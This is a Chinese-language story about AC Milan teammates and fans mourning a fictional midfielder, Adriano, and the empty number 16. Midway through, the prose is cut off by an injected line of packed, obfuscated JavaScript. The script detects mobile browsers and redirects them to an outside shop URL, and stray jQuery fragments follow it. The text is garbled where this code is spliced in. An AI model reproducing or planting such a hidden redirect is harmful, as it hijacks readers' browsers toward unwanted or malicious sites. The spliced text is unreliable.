米兰德比终场哨响后，圣西罗的草皮上还留着没散尽的烟花味，阿德里亚诺被抬上救护车的那条通道边，球迷自发堆起的白玫瑰，三天都没凋谢。
阿德里亚诺的更衣柜被马尔蒂尼亲手锁上，钥匙串在他自己的随身钥匙扣上，和队长袖标、家的门钥匙挂在一起。柜门上没贴封条，玻璃门里还留着他没带走的半瓶蜂蜜、缝球衣用的银色针线盒，还有一双磨平了鞋钉的旧训练鞋，鞋舌上用蓝色钢笔写了小小的“F”，是他自己的姓氏首字母。新来的队员路过时总下意识放轻脚步，连打扫卫生的阿姨都不敢随便碰柜门，每次擦灰只敢擦到柜门外沿，像怕惊扰了里面还没散的暖意。
安切洛蒂第一次在训练课上调整中场站位，把阿德里亚诺常站的那个圈空出来，原本演练了无数次的传切配合，跑起来处处卡壳。皮尔洛站在他昔日的位置上，总下意识偏头往侧边看——以前这个位置永远站着那个棕褐色长卷发的身影，会在他出球前一秒，用眼神给他指一条旁人根本看不见的传球线路。那天的分组对抗踢了四十分钟，没有一脚直塞能刚好落到前锋的步点上，安切洛蒂吹哨叫停的时候，声音比训练结束的哨声还沉：“今天就到这吧。”
后来队里练定位球，皮尔洛站在罚球点前，总觉得身侧少了点什么。以前阿德里亚诺会靠在人墙边，指尖悄悄在他背后比个弧度，那是只有他们俩懂的暗号，告诉他这脚任意球要兜多大的弯。现在人墙旁边空着，风从那个缺口钻过来，吹得他胳膊发僵，好几次本来十拿九稳的任意球，都擦着门柱偏了出去。
米兰内洛的16号训练场，从那之后就成了全队心照不宣的“禁区”。场务修剪草皮时，会特意把阿德里亚诺常站的那片区域的草留得稍长一点，像怕剪短了，就把他留在这儿的脚印给蹭没了。有次新请来的青训教练不懂规矩，把训练场的号码牌换了位置，把16号的牌子挪去了边角的备用训练场，马尔蒂尼看见之后，当着所有人的面把牌子捡了回来，指尖攥得塑料牌都变了形，当天傍晚就亲自把牌子钉回了原来的地方。
那些年的主场比赛，圣西罗的南看台永远会空出一排位置，铺着阿德里亚诺的16号球衣。每次赛前球员入场，马尔蒂尼都会特意往那排看一眼，指尖把队长袖标再紧一紧，像要把他的那一份责任，也一起扛在自己胳膊上。
那之后整整五年，意甲赛场只要出现一脚堪称惊艳的中场传球，解说员话音刚落，全场观众就会集体沉默三秒。镜头扫过看台
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923483|213497||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，总能看见几个老球迷攥着围巾红了眼，不用开口，所有人都在心里完成了同一场对比：这脚球，阿德里亚诺会怎么传？
有次意甲新冒出的天才中场踢出一记连过两人的直塞，全场刚要响起欢呼，看台上忽然有个老球迷小声说了句“阿德里亚诺当年这球能绕过后卫的脚踝”，瞬间半个看台的欢呼声都哑了。后来那个年轻球员在混合采访区被记者问到“你觉得自己和丰塔纳比怎么样”，当场红了眼眶，他说自己从小看阿德里亚诺的录像长大，练了十年传球，到现在都没复刻出他那脚能在禁区前画半圆的弧线。
AC米兰的管理层好几次开会，想把16号球衣重新投入使用，每次刚提出来，更衣室里所有人都集体沉默。加利亚尼拿着球衣名单站在会议室里，看见皮尔洛指尖反复摩挲着阿德里亚诺当年签在转会本上的名字，马尔蒂尼把旧钥匙扣放在桌面上，所有人都没反对，也没人敢接这件球衣。最后这件事不了了之，16号的号码牌，永远停在了那个夏天。
那天酒吧的电视屏幕暗下去的时候，窗外的米兰街头飘起了小雨，有个老球迷撑着黑伞走过，伞面上印着小小的16号，雨丝打在数字上，像有人轻轻碰了碰，没说出口的那句“我们想你”。